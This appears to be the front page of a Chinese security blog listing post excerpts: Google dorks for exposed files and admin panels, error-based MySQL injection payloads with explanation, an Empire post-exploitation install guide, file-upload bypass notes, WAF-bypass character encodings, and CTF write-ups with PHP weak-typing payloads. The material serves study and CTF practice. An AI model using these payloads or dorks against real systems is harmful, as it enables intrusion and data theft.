J_drops

人生没有白走的路,每一步都算数


  • 首页

  • 关于

  • 归档

  • 标签

  • 公益404

  • 搜索

Google Hacking

发表于 2017-09-11

列表

  1. inurl:/secure/attachment/ filetype:log OR filetype:txt
  2. inurl:share.cgi?ssid=
  3. ext:log inurl:”/pgadmin”
  4. intitle:”Welcome to QNAP Turbo NAS”
  5. “m.zippyshare.com/“
  6. inurl:_vti_pvt/administrators.pwd
  7. “– Account dump” ext:sql -git
  8. inurl:zabbix.php AND intext:”Zabbix SIA”
  9. inurl:front/central.php

报错型sql注入原理研究学习

发表于 2017-09-11

前言

Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这就让一些不法分子有机会从中获取敏感信息

通过floor报错

利用方式

1
?id=1' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select(select(报错语句)) from information_schema.tableslimit 0,1))x from imformation_schema.tables group by x)a)--+

公式解析

1
2
3
4
5
6
7
8
9
10
11
12
13
floor() 是向下取整数
rand() 在0和1之间产生一个随机数
rand(0)*2 将取0到2的随机数
floor(rand()*2) 有两条记录就会报错
floor(rand(0)*2) 记录需要3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果,相当于刷新一次结果
group by 在对数据进行分组时会先看看虚表中有没有这个值,没有的话就插入 存在的话count(*)加1,在使用group by 时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表会在执行一次

报错过程

  1. rand()用于产生一个0~1的随机数
  2. floor()向下取整
  3. rand()函数生成0~1的整数,向下取整,值是固定的’0’,将rand*2,得到的值就是不固定的,’0’或’1’
  4. concat()将符合条件的同一列中的不同列数据拼接,0x3a是十六进制的”:”
  5. 将之前的rand()函数和floor()函数整合起来
  6. 查询名字太长,起一个别名
  7. 再次查询.information_schema.tables有多少表,会显示多少列
  8. group by 依据我们想要的规矩对结果进行分组
  9. count()统计元组的个数
  10. 接着,多重复几次

floor(rand()2)与floor(rand(0)2)的不确定性与确定性

floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

通过测试发现,floor(rand()*2)毫无规律可言,而floor(rand(0)*2)是有规律的

那么mysql在遇到`select count(*)from tables group by x`这句话(实际就是建立虚拟表)
1.先建立虚拟表,其中key是主键,不可重复
2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新纪录,存在则count(*)字段直接加,即如果key存在就+1,不存在话就新建一个key

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为`011011…`(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。

完整过程

  1. 查询前默认建立空虚拟表
  2. 取第一条记录,执行floor(rand(0)2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)2)会被再计算一次,结果为1(第二次计算),插入虚表,这是第一条记录
  3. 查询第二条记录,再次计算floor(rand(0)2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕
  4. 查询第三条记录,再次计算floor(rand(0)2),发现结果为0(第四次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的的数据,再插入数据时floor(rand(0)2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在与虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

updatexml

MySQL5.1.5版本中添加了对XML文档进行查询的修改的函数,分别是updatexml()和extracvalue()

1
2
3
4
5
6
7
8
9
10
11
12
mysql> use test;
Database changed
mysql> create table users
-> (
-> id int(3) NOT NULL AUTO_INCREMENT,
-> username varchar(20) NOT NULL,
-> password varchar(20) NOT NULL,PRIMARY KEY (id)
-> );
Query OK, 0 rows affected (1.74 sec)
mysql> insert into users(id,username,password) values (1,'admin','123456');
Query OK, 1 row affected (0.00 sec)

执行报错的payload:

1
2
3
4
5
6
7
mysql> select 1,2,3 and updatexml(1,concat(null,(select @@version),null),1);
+---+---+-----------------------------------------------------------+
| 1 | 2 | 3 and updatexml(1,concat(null,(select @@version),null),1) |
+---+---+-----------------------------------------------------------+
| 1 | 2 | NULL |
+---+---+-----------------------------------------------------------+
1 row in set (0.00 sec)

报错原因:

  1. updatexml第二个参数需要的是Xpath格式的字符串,我们输入的格式显然不符合,故故障由此报错
  2. uodatexml的最大长度是32位的,所以有局限(PS:但是应对大多的已经足够。)如果密码长度超过了32位就不会被显示出来。

参考链接

域渗透神器Empire安装和简单使用

发表于 2017-08-02

1. Empire简介

官网介绍如下:

1
Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework

关于内网渗透,我们平时基本第一时间想到Metasploit,集信息收集,预渗透,渗透,后渗透,木马,社会工程学于一体的平台,但是Empire就是针对内网的渗透,针对powershell,在内网渗透能用到的powershell脚本,全部集成在Empire框架中,其更是域渗透神器。网上关于其介绍的文章寥寥无几,尤其2.0版本,操作和之前的1.6版本等不管是命令啥的都有很大的区别,在网上查了很多外文文献,摸索了半天,在这里做一个笔记,和大家共同进步

Empire安装

官网直接转到github下载

1
2
3
4
5
6
7
8
9
git clone https://github.com/EmpireProject/Empire.git
cd Empire/
cd setup/
sudo ./install.sh
补充:(清除缓存)
cd Empire/
cd setup/
./reset.sh

运行后的页面如下:

我们可以清楚看到有267个模块,0个监听和0个代理

阅读全文 »

文件上传漏洞总结

发表于 2017-07-17

1. 概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议。

2. 上传检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:

阅读全文 »

bypass waf(关键字符替换)

发表于 2017-04-06

0x01 字母a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7

0x02 空白

1
2
3
4
5
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0

0x03 左括号(

1
2
3
4
5
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8

0x04 右括号)

1
2
3
4
5
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9

###参考链接
转载-享受孤独

ZCTF线下赛php弱类型

发表于 2017-04-05

0x01源码获取

源码泄露,通过源码泄露工具获得一个php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
define('FLAG','CTF{THIS_IS_FLAG}');
$l01o=0;
$o1l0=0;
$o10l=0;
$lo10=0;
if (isset($_GET['vhghf'])) //GET传入一个vhghf
{
$vhghf = $_GET['vhghf'];
$vhghf=="1"?die("ha?"):NULL; //如果vhghf等于1则退出
switch ($vhghf)
{
case 0:
case 1: //如果vhghf等于1则$101o等于1
$l01o=1;
echo "1";
break;
}
}
$dfgdf=(array)json_decode(@$_GET['dfgdf']); //GET传入dfgdf且进行json_decode且创建一个数组
if(is_array($dfgdf)){ //如果为数组则进行接下来的
is_numeric(@$dfgdf["gvnghdjk"])?die("ha?"):NULL; //判断dfgdf中的gvnghdjk是否为数字或数字字符串
if(@$dfgdf["gvnghdjk"]){
($dfgdf["gvnghdjk"]>2017)?$o1l0=1:NULL; //gvnghdjk大于2017
}
var_dump($dfgdf["uxcndffznb"]);
if(is_array(@$dfgdf["uxcndffznb"])){ //uxcndffznb要为数组
echo "2";
if(count($dfgdf["uxcndffznb"])!==2 OR !is_array($dfgdf["uxcndffznb"][0])) die("ha?"); //数组中有两个值,且第一个还要为数组
$kghdhfghdfgbcvhgffg = array_search("ZCTF", $dfgdf["uxcndffznb"]); //查询uxcndffznb中有没有ZCTF有则返回1没则返回false
var_dump($kghdhfghdfgbcvhgffg);
$kghdhfghdfgbcvhgffg===false?die("ha?"):NULL; //如果为false则退出
foreach($dfgdf["uxcndffznb"] as $key=>$val){ //查询uxcndffznb中是否有ZCTF如果有则退出
var_dump($val);
$val==="ZCTF"?die("ha?"):NULL;
echo $val;
}
$o10l=1;
echo "3"."<br>";
}
}
$cdggjydcnfsdyjaq = $_GET['cdggjydcnfsdyjaq']; //MD5碰撞
if ($cdggjydcnfsdyjaq != '15562') {
if (strstr($cdggjydcnfsdyjaq, '2017ZCTF')) {
if (substr(md5($cdggjydcnfsdyjaq),8,16) == substr(md5('15562'),8,16)) {
echo "4"."<br>";
$lo10=1;
}
}
}
if($l01o && $o1l0 && $o10l && $lo10){
echo "success,flag:".FLAG;
}
?>

getflag前提:要求($l01o && $o1l0 && $o10l && $lo10)都符合要求了就出flag,而具体看就是要求这四个值都为1

0x02分析

l01o

1
将vhghf与1进行比较,而且是双等号,直接1+任意字母绕过

o1l0+o10l

1
2
3
4
5
6
7
8
9
10
dfgdf["gvnghdjk"]>2017与第一个相似,用大于2017的数值加任意字母绕过
array_search是弱类型的比较
var_dump(in_array("abc", $array1));</br>
var_dump(in_array("1bc", $array2));
它遍历了array的每个值,并且作"=="比较(“当设置了strict 用===”)
结果很明显了
如果array1里面有个值为0,那么第一条返回就会为真//intval('abc')=0
如果array2里面有个值为1,那么第二条就会为真//intval('1bc')=1
数字0双等于所有的无数字开头的字符串,可以用0去绕过array_search的比较

lo10

1
2
3
$cdggjydcnfsdyjaq != '15562'
(substr(md5($cdggjydcnfsdyjaq),8,16) == substr(md5('15562'),8,16))

线上赛已经出现过

0x03 测试

1
2
payload=
?vhghf=1a$&&dfgdf={"gvnghdjk":"2018aaa","uxcndffznb":[["ZCTF"],0]}&&cdggjydcnfsdyjaq=x2017ZCTF24834

CTF Tricks

发表于 2017-04-05

0x01 php弱类型

什么是php弱类型

php变量类型

1
2
3
4
5
6
7
8
9
10
string
integer
array
double
object
resource
NULL
string array NULL 可以从RGPC传入
遇到不符类型,自动转换

php类型装换

1
2
3
4
5
6
7
8
9
'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1

阅读全文 »

string标准库源码学习

发表于 2017-03-29

0x00 Contents

1
2
3
4
5
6
7
常量定义
_TemplateMetaclass
maketrans
_multimap
Template
strop
Fromatter

0x01 常量定义

1
2
3
4
5
6
7
8
9
whitespace = ' \t\n\r\v\f' 空白字符 \t制表符 \n换行
ascii_lowercase = 'abcdefghijklmnopqrstuvwxyz'
ascii_uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ascii_letters = ascii_lowercase + ascii_uppercase
digits = '0123456789' 十进制
hexdigits = digits + 'abcdef' + 'ABCDEF' 十六进制
octdigits = '01234567' 八进制
punctuation = r"""!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~""" #标点符号
printable = digits + ascii_letters + punctuation + whitespace
阅读全文 »

python变量命名规则

发表于 2017-03-29

0x00 前言

1
最近在读requests模块的源码,好的代码读起来让人心旷神怡。回想之前写的代码变量命名也是胡写一通。决定好好总结一番,并在以后的书写留意。虽然电脑并不会再议变量的名称,但值得在意的是,好的命名,能使你的程序更有可读性。

0x01 全局变量名(类变量,在java中相当于static变量)

1
2
3
4
5
6
7
大写字母,单词之间用_分割
NUMBER
COLOR_WRITE
对于from M import *导入语句,如果想阻止导入模块内的全局变量可以使用旧有的规范,在全局变量上加一个前导的下划线。
<!-- more -->
*注意*:应避免使用全局变量

0x02 普通变量

1
2
3
4
5
6
7
8
9
10
小写字母,单词之间用_分割
this_is_a_var
*注意*:
1.不论是类成员变量还是全局变量,均不使用 m 或 g 前缀。
2.私有类成员使用单一下划线前缀标识,多定义公开成员,少定义私有成员。
3.变量名不应带有类型信息,因为Python是动态类型语言。如 iValue、names_list、dict_obj 等都是不好的命名。

0x03 实例变量

1
2
3
4
5
6
7
以_开头,其他和普通变量一样
_price
_instance_var
私有实例变量(外部访问会报错):
以__开头(2个下划线),其他和普通变量一样
__private_var

0x04 专有变量

1
2
3
__开头,__结尾,一般为python的自有变量,不要以这种方式命名
__doc__
__class__

0x05 未完待续

参考链接

NJCTF-Geuess

发表于 2017-03-16

0x01 获取源码

利用php的协议php://filter获取源码,具体方法:php://filter/convert.base64-encode/resource=upload,读到源码,然后base64解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");//61
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
echo "$ch";
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
阅读全文 »
123
Jdrops

Jdrops

天下事有难易乎?为之,则难者亦易矣;不为,则易者亦难矣。

30 日志
23 标签
RSS
友情链接
    python大神 斌师傅 毕师傅 hello_c 小光头 George_Lee klion 信安之路 TimeS0ng
© 2016 - 2017 Jdrops
由 Hexo 强力驱动
主题 - NexT.Pisces